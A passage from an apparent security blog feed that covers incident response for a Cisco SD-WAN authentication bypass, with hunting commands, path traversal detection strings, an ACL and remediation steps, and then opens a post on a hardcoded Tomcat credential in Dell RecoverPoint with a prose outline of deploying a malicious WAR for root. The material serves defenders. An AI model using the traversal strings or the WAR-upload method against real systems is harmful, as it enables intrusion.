  &lt;li&gt;Unauthorized or unaccounted SSH keys for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmanage-admin&lt;/code&gt; account&lt;/li&gt;
  &lt;li&gt;Abnormally small log files, or logs that are 0, 1, or 2 bytes in size (consistent with truncation after root access)&lt;/li&gt;
  &lt;li&gt;Evidence of log and history clearing, including the presence of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cli-history&lt;/code&gt; file for a user without a corresponding bash history&lt;/li&gt;
  &lt;li&gt;Unexpected peer additions and drops in the fabric&lt;/li&gt;
  &lt;li&gt;Unexpected version downgrades and upgrades with associated reboots&lt;/li&gt;
  &lt;li&gt;Path traversal strings in usernames consistent with CVE-2022-20775 exploitation, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/../../&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/\n&amp;amp;../\n&amp;amp;../&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PermitRootLogin&lt;/code&gt; enabled in the SSH daemon configuration when it was not previously set&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The log truncation is the one that really stings. If an attacker has achieved root and has cleared or truncated logs locally, and you do not have logs forwarded to an external SIEM, your forensic investigation starts at a significant disadvantage. You may be able to detect the act of truncation (size 0 or near-zero log files that should be populated), but reconstructing what happened before the truncation requires external log sources.&lt;/p&gt;

&lt;h3 id=&quot;the-three-year-problem&quot;&gt;The Three-Year Problem&lt;/h3&gt;

&lt;p&gt;Talos telemetry shows exploitation going back to 2023. For organizations that may have been compromised during that window, the forensic situation is stark. Most organizations retain logs for 30-90 days, sometimes less. If compromise occurred in 2023 or 2024, those log entries are gone. You can confirm current indicators of compromise but you cannot reconstruct the historical access timeline.&lt;/p&gt;

&lt;p&gt;This means that for organizations with internet-exposed Catalyst SD-WAN infrastructure, the correct assumption is: if you were running vulnerable versions over the last three years, treat the investigation as a potential long-term compromise case, not just a vulnerability remediation exercise.&lt;/p&gt;

&lt;h3 id=&quot;scope-assessment-is-hard&quot;&gt;Scope Assessment is Hard&lt;/h3&gt;

&lt;p&gt;NETCONF access to the Controller means the attacker had the ability to manipulate the entire fabric. Determining what they actually did with that access requires detailed NETCONF session logs, which many deployments do not maintain at the required verbosity. Without those logs, you can establish that access occurred but you cannot enumerate all configuration changes, all topology queries, or all traffic that may have been redirected or inspected.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;The primary detection surface is the Catalyst SD-WAN control plane logs. Here is what to look for.&lt;/p&gt;

&lt;h3 id=&quot;core-hunting-focus-peering-events&quot;&gt;Core Hunting Focus: Peering Events&lt;/h3&gt;

&lt;p&gt;Every control connection peering event needs to be validated. The key log source is the VDAEMON log on SD-WAN Controllers and Managers. Look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;control-connection-state-change&lt;/code&gt; events with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new-state:up&lt;/code&gt; and validate:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peer-system-ip&lt;/code&gt; matches a known, documented device in your SD-WAN topology&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public-ip&lt;/code&gt; is an expected source (your infrastructure, your data centers, your cloud ranges)&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peer-type&lt;/code&gt; aligns with what is expected from that IP (if you have no vManage components at a particular IP, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;peer-type:vmanage&lt;/code&gt; from that IP is a red flag)&lt;/li&gt;
  &lt;li&gt;The timestamp aligns with known maintenance windows, configuration changes, or device onboarding events&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Example suspicious peering event - validate all fields
Jul 26 22:03:33 vSmart-01 VDAEMON_0[2571]:
%Viptela-vSmart-VDAEMON_0-5-NTCE-1000001:
control-connection-state-change new-state:up
peer-type:vmanage
peer-system-ip:1.1.1.10          # &amp;lt;- Is this in your asset inventory?
public-ip:192.168.3.20           # &amp;lt;- Is this a known controller IP?
public-port:12345
domain-id:1
site-id:1005
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ssh-authentication-log-review&quot;&gt;SSH Authentication Log Review&lt;/h3&gt;

&lt;p&gt;Audit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/auth.log&lt;/code&gt; for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Accepted publickey for vmanage-admin&lt;/code&gt; entries. Cross-reference every source IP against your documented controller inventory. Any IP not in that inventory that successfully authenticated should be treated as a compromise indicator.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Indicator: Successful pubkey auth from unknown IP
2026-02-10T22:51:36+00:00 vm sshd[804]:
Accepted publickey for vmanage-admin from &amp;lt;UNKNOWN_IP&amp;gt;
port [PORT] ssh2: RSA SHA256:[KEY_FINGERPRINT]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Collect all SSH key fingerprints from these log entries and compare against authorized keys. Any fingerprint not in your authorized inventory is an attacker-controlled key.&lt;/p&gt;

&lt;h3 id=&quot;ssh-authorized_keys-integrity-check&quot;&gt;SSH authorized_keys Integrity Check&lt;/h3&gt;

&lt;p&gt;Check these locations manually:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check for unauthorized SSH keys&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/vmanage-admin/.ssh/authorized_keys
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/authorized_keys

&lt;span class=&quot;c&quot;&gt;# Check sshd configuration for PermitRootLogin changes&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;PermitRootLogin /etc/ssh/sshd_config

&lt;span class=&quot;c&quot;&gt;# Check for recently modified authorized_keys files&lt;/span&gt;
find /home /root &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;authorized_keys&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-newer&lt;/span&gt; /etc/passwd &lt;span class=&quot;nt&quot;&gt;-ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Any key not documented in your organization’s key management process is suspect.&lt;/p&gt;

&lt;h3 id=&quot;log-integrity-checks&quot;&gt;Log Integrity Checks&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check for truncated or suspiciously small log files&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lh&lt;/span&gt; /var/log/sdwan/
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lh&lt;/span&gt; /var/log/

&lt;span class=&quot;c&quot;&gt;# A size-0 or near-zero log that should have content is a red flag&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Check for cleared bash history alongside present cli-history&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /home/vmanage-admin/.bash_history
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /home/vmanage-admin/.cli-history

&lt;span class=&quot;c&quot;&gt;# Review for version downgrade/upgrade events&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;upgrade&quot;&lt;/span&gt; /var/log/sdwan/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.log | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;revert&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;downgrade&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;previous&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;cve-2022-20775-and-cve-2022-20776-path-traversal-indicators&quot;&gt;CVE-2022-20775 and CVE-2022-20776 Path Traversal Indicators&lt;/h3&gt;

&lt;p&gt;If the actor used the downgrade + path traversal technique, the primary forensic artifact is path traversal strings in the vdebug logs and authentication logs. CISA specifically identified the following log files as the correct hunting targets for CVE-2022-20775 exploitation evidence:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/volatile/log/vdebug&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/tmplog/vdebug&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/volatile/log/sw_script_synccdb.log&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Hunt for path traversal strings across SD-WAN logs and vdebug specifically&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%2e%2e&quot;&lt;/span&gt; /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/

&lt;span class=&quot;c&quot;&gt;# Also check sw_script_synccdb.log for related artifacts&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;traversal&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|\.\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%2e%2e&quot;&lt;/span&gt; /var/volatile/log/sw_script_synccdb.log

&lt;span class=&quot;c&quot;&gt;# Look for version downgrade/upgrade events bracketing the exploitation window&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;upgrade&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;downgrade&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;revert&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;previous.*version&quot;&lt;/span&gt; /var/log/sdwan/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The path traversal strings showing up in the username field of authentication events or in the vdebug output are a direct artifact of CVE-2022-20775 being executed. If you find those strings, the escalation chain was attempted regardless of whether the subsequent reupgrade erased the vulnerable version from the current running state.&lt;/p&gt;

&lt;h3 id=&quot;netconf-session-auditing&quot;&gt;NETCONF Session Auditing&lt;/h3&gt;

&lt;p&gt;If you have NETCONF session logging configured (verbosity-dependent), review for sessions that were not initiated by known management systems or authorized operators:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# NETCONF runs on port 830&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Check for connections from unexpected sources&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;netconf&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;port.*830&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;830.*netconf&quot;&lt;/span&gt; /var/log/sdwan/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;snort-detection-rules&quot;&gt;Snort Detection Rules&lt;/h3&gt;

&lt;p&gt;Cisco released Snort rules SID 65938 and SID 65958 alongside the advisory, covering the initial authentication bypass and post-exploitation NETCONF command execution respectively. Both are available via the Snort subscriber ruleset and should be verified as active in any Snort or Cisco FTD/FMC deployment protecting SD-WAN infrastructure.&lt;/p&gt;

&lt;h3 id=&quot;recommended-forensic-evidence-collection-sequence&quot;&gt;Recommended Forensic Evidence Collection Sequence&lt;/h3&gt;

&lt;p&gt;When you suspect compromise, time is your enemy. Logs rotate, disk state changes, and an attacker with root access may have set up cleanup mechanisms. Collect in this order:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Take a virtual snapshot or disk image of all SD-WAN control components before making any changes&lt;/li&gt;
  &lt;li&gt;Collect all available VDAEMON logs, auth logs, and system logs from the device and from any external SIEM or syslog server&lt;/li&gt;
  &lt;li&gt;Collect the current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorized_keys&lt;/code&gt; for all relevant accounts&lt;/li&gt;
  &lt;li&gt;Collect the current sshd configuration&lt;/li&gt;
  &lt;li&gt;Collect any available NETCONF session logs&lt;/li&gt;
  &lt;li&gt;Run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;request admin-tech&lt;/code&gt; on each control component and provide the resulting file to Cisco TAC for review&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are opening a Cisco TAC case, which Cisco explicitly recommends for suspected compromise, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin-tech&lt;/code&gt; output is the first thing they will ask for.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;remediation-and-mitigations&quot;&gt;Remediation and Mitigations&lt;/h2&gt;

&lt;h3 id=&quot;patch-first&quot;&gt;Patch First&lt;/h3&gt;

&lt;p&gt;There are no workarounds that fully remediate CVE-2026-20127. The only complete fix is upgrading to a fixed release. Refer to the table in the Affected Versions section above.&lt;/p&gt;

&lt;p&gt;For the 20.9 release, the fixed version (20.9.8.2) was estimated for release on February 27, 2026. Monitor Cisco’s advisory for confirmation.&lt;/p&gt;

&lt;p&gt;For organizations on End-of-Software-Maintenance releases (20.11, 20.13, 20.14, 20.16), fixed versions exist but migration to a currently supported release is strongly recommended.&lt;/p&gt;

&lt;h3 id=&quot;temporary-network-mitigations-on-prem-deployments&quot;&gt;Temporary Network Mitigations (On-Prem Deployments)&lt;/h3&gt;

&lt;p&gt;While preparing for patching, the most impactful mitigation is access control. Ports 22 (SSH) and 830 (NETCONF) on SD-WAN Controllers and Managers should be restricted by ACL, security group rule, or firewall rule to permit only known, documented controller IPs and authorized management infrastructure. If you cannot explain why a given IP should be able to reach port 830 on your Controller, it should not be allowed to.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Conceptual ACL approach for on-prem deployments
# Restrict ports 22 and 830 to known controller system IPs and
# authorized management network ranges ONLY

permit tcp &amp;lt;controller_ip_1/32&amp;gt; any eq 22
permit tcp &amp;lt;controller_ip_2/32&amp;gt; any eq 22
permit tcp &amp;lt;mgmt_network/cidr&amp;gt; any eq 22
permit tcp &amp;lt;controller_ip_1/32&amp;gt; any eq 830
permit tcp &amp;lt;controller_ip_2/32&amp;gt; any eq 830
deny tcp any any eq 22
deny tcp any any eq 830
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;sd-wan-hardening-guidance&quot;&gt;SD-WAN Hardening Guidance&lt;/h3&gt;

&lt;p&gt;Beyond the immediate patch, Cisco’s SD-WAN Hardening Guide outlines the configuration baseline that should have been in place before this. Key areas:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Management interface isolation:&lt;/strong&gt; VPN 512 (the management VPN) should be isolated and never reachable from untrusted networks. If your Controllers are internet-accessible without a jump host or VPN, that is a foundational exposure independent of this specific CVE&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Pairwise keying:&lt;/strong&gt; Enable pairwise keying for control plane security to limit the blast radius if any single control component is compromised&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Certificate management:&lt;/strong&gt; Replace self-signed certificates on the Manager web UI with CA-issued certificates&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Session timeouts:&lt;/strong&gt; Configure to the shortest operationally acceptable period&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Logging:&lt;/strong&gt; Ensure logs are forwarded to an external syslog server. Local-only logs are too easy to tamper with or lose when a device is compromised or reimaged&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credential-rotation&quot;&gt;Credential Rotation&lt;/h3&gt;

&lt;p&gt;If compromise cannot be ruled out, rotate all relevant credentials:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SD-WAN Manager admin credentials&lt;/li&gt;
  &lt;li&gt;All operator and user account credentials on SD-WAN components&lt;/li&gt;
  &lt;li&gt;SSH keys for all accounts on SD-WAN control components&lt;/li&gt;
  &lt;li&gt;API tokens or certificates used by orchestration tooling that communicates with the Manager&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2026-20127 is a textbook critical network infrastructure vulnerability: zero credentials required, remote exploitation, immediate access to a privileged interface with fabric-wide reach, and evidence of exploitation by a patient, sophisticated actor who sat on it for years before anyone noticed.&lt;/p&gt;

&lt;p&gt;The three-year exploitation window is what defines the actual organizational risk here. Patching addresses future exposure. It does not address the question of whether your Controllers were quietly owned since 2023 and whether a rogue peer is still sitting in your fabric waiting to be re-activated.&lt;/p&gt;

&lt;p&gt;For defenders, a few realities to sit with.&lt;/p&gt;

&lt;p&gt;First, if your SD-WAN management interfaces were reachable from the internet, and you were running vulnerable versions, the forensic question is not “were we targeted” but “what was done with that access.” Those are different investigations with different scopes.&lt;/p&gt;

&lt;p&gt;Second, log forwarding to an external SIEM is not optional for infrastructure at this risk tier. The fact that an attacker with root access can truncate local logs means that local logs cannot be your only forensic source. If you are only logging locally on SD-WAN control components, your post-incident investigation capability is severely limited.&lt;/p&gt;

&lt;p&gt;Third, the combination of CVE-2026-20127 and CVE-2022-20775 as a chained privilege escalation path tells you something about how thoroughly this actor understood the target platform. The downgrade-exploit-reupgrade technique is operational tradecraft developed through experimentation and refinement, not something you produce on day one. Multi-year timelines produce refined attack chains.&lt;/p&gt;

&lt;p&gt;Patch the CVE. Validate your peering events. Audit your authorized_keys. Forward your logs. And if you are running a critical SD-WAN deployment with internet-exposed control components, assume the worst and investigate accordingly.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Cisco Security Advisory:&lt;/strong&gt; &lt;a href=&quot;https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk&quot;&gt;Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Cisco Talos Blog:&lt;/strong&gt; &lt;a href=&quot;https://blog.talosintelligence.com/uat-8616-sd-wan/&quot;&gt;Active exploitation of Cisco Catalyst SD-WAN by UAT-8616&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ACSC Threat Hunt Guide:&lt;/strong&gt; &lt;a href=&quot;https://www.cyber.gov.au/sites/default/files/2026-02/ACSC-led%20Cisco%20SD-WAN%20Hunt%20Guide.pdf&quot;&gt;Cisco SD-WAN Threat Hunt Guide (PDF)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Canadian Centre for Cyber Security:&lt;/strong&gt; &lt;a href=&quot;https://www.cyber.gc.ca/en/alerts-advisories/al26-004-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20127&quot;&gt;AL26-004&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NCSC-UK Advisory:&lt;/strong&gt; &lt;a href=&quot;https://www.ncsc.gov.uk/news/exploitation-cisco-catalyst-sd-wans&quot;&gt;Exploitation of Cisco Catalyst SD-WANs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Cisco SD-WAN Hardening Guide:&lt;/strong&gt; &lt;a href=&quot;https://sec.cloudapps.cisco.com/security/center/resources/Cisco-Catalyst-SD-WAN-HardeningGuide&quot;&gt;Cisco Catalyst SD-WAN Hardening Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 25 Feb 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/02/25/cisco_cve2026-20127/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/02/25/cisco_cve2026-20127/</guid>
        
        <category>CVE-2026-20127</category>
        
        <category>cisco</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>Dell RecoverPoint for VMs (CVE-2026-22769)</title>
        <description>&lt;p&gt;Dell dropped a 10.0 CVSS advisory today, and if you have RecoverPoint for Virtual Machines anywhere in your environment, this one requires immediate attention. Not “schedule a change window” attention. Not “put it in the next sprint” attention. Right now attention.&lt;/p&gt;

&lt;p&gt;CVE-2026-22769 is a hardcoded credential vulnerability in Dell RecoverPoint for Virtual Machines (RP4VM). The short version: a set of static admin credentials were baked directly into Apache Tomcat’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tomcat-users.xml&lt;/code&gt; config file, sitting readable on disk, unchanged across every deployment. Any unauthenticated attacker who can reach port 8443 (or wherever Tomcat is listening) and knows the credential string gets immediate access to the Tomcat Manager interface, from which they can deploy arbitrary WAR files and run commands as root on the appliance.&lt;/p&gt;

&lt;p&gt;Ten out of ten. No authentication required. No user interaction. Scope changed. The CVSS vector says everything you need to know: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt;. That’s a clean sweep.&lt;/p&gt;

&lt;p&gt;And the kicker? Mandiant and the Google Threat Intelligence Group didn’t discover this through a code audit. They found it during incident response while a PRC-linked threat cluster called UNC6201 was actively using it in the wild. The credential was hardcoded. The attackers knew it. Your vendor didn’t tell you.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-vulnerability&quot;&gt;The Vulnerability&lt;/h2&gt;

&lt;p&gt;RecoverPoint for Virtual Machines is a Dell/EMC disaster recovery product that sits inside VMware environments and manages continuous data replication and point-in-time recovery for VMs. It ships as a virtual appliance, meaning it’s a pre-built Linux VM with all the required software already installed, deployed into your vSphere environment where it promptly gets assigned a static IP, a DNS record, firewall rules, and then largely forgotten about.&lt;/p&gt;

&lt;p&gt;The appliance runs Apache Tomcat as its internal web server to handle the deployment and management of various RecoverPoint software components. Tomcat Manager is the standard Tomcat admin interface used to deploy, undeploy, and manage web applications packaged as WAR (Web Application Archive) files. Dell uses this internally for RecoverPoint’s own component deployment.&lt;/p&gt;

&lt;p&gt;The problem is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/kos/tomcat9/tomcat-users.xml&lt;/code&gt;. This file defines the users and roles for Tomcat Manager authentication. In every version of RecoverPoint for Virtual Machines prior to 6.0.3.1 HF1, this file contains a hardcoded credential for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; user with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manager-gui&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manager-script&lt;/code&gt; roles. The credential does not change between deployments. It does not rotate. It is identical across every single RecoverPoint appliance ever deployed.&lt;/p&gt;

&lt;p&gt;This is CWE-798 in its purest form. Someone wrote a static password into a config file during development, it shipped to production, and then it shipped to every customer who ever deployed the product.&lt;/p&gt;

&lt;p&gt;The exploitation path is straightforward:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Authenticate to Tomcat Manager using the hardcoded credential&lt;/li&gt;
  &lt;li&gt;Upload a malicious WAR file via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/manager/text/deploy&lt;/code&gt; endpoint&lt;/li&gt;
  &lt;li&gt;The WAR deploys and its contents execute with the privileges of the Tomcat process&lt;/li&gt;
  &lt;li&gt;On RecoverPoint appliances, Tomcat runs as root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s it. No exploitation chain. No memory corruption. No race conditions. You log in with a password that was written into a config file on a build server years ago and you get root on an appliance that sits inside a trusted VMware environment with full access to the virtual infrastructure it manages.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;timeline-and-abuse-history&quot;&gt;Timeline and Abuse History&lt;/h2&gt;

&lt;p&gt;This one was a zero-day for a while. A long while.&lt;/p&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;Mid-2024:&lt;/strong&gt; UNC6201 begins exploiting CVE-2026-22769 in the wild. At this point there is no CVE, no advisory, no patch. The credential has been hardcoded in the product for an unknown period prior to exploitation.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mid-2024 to September 2025:&lt;/strong&gt; UNC6201 deploys BRICKSTORM (a Go/Rust-written backdoor) on compromised RP4VM appliances via this vulnerability. Activity is observed across multiple victim organizations.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;September 2025:&lt;/strong&gt; UNC6201 begins replacing BRICKSTORM binaries with a new C# backdoor tracked as GRIMBOLT. Whether this is a planned capability upgrade or a direct response to Mandiant’s IR activities is unclear.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Late 2025/Early 2026:&lt;/strong&gt; Mandiant and Google GTIG investigate multiple RP4VM appliances in victim environments with active C2. Analysis of Tomcat configuration files surfaces the hardcoded credential and the exploitation method.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 17, 2026:&lt;/strong&gt; Dell publishes DSA-2026-079. CVE-2026-22769 is assigned. Patch is available. Mandiant and GTIG publish their full technical write-up the same day.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gap between first exploitation (mid-2024) and public disclosure (February 2026) is approximately 18 months. During that window, UNC6201 had essentially unlimited time to deploy malware, establish persistence, pivot through VMware infrastructure, and adapt their tooling without vendors or defenders knowing the initial entry point existed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;impacted-versions-and-patch-status&quot;&gt;Impacted Versions and Patch Status&lt;/h2&gt;

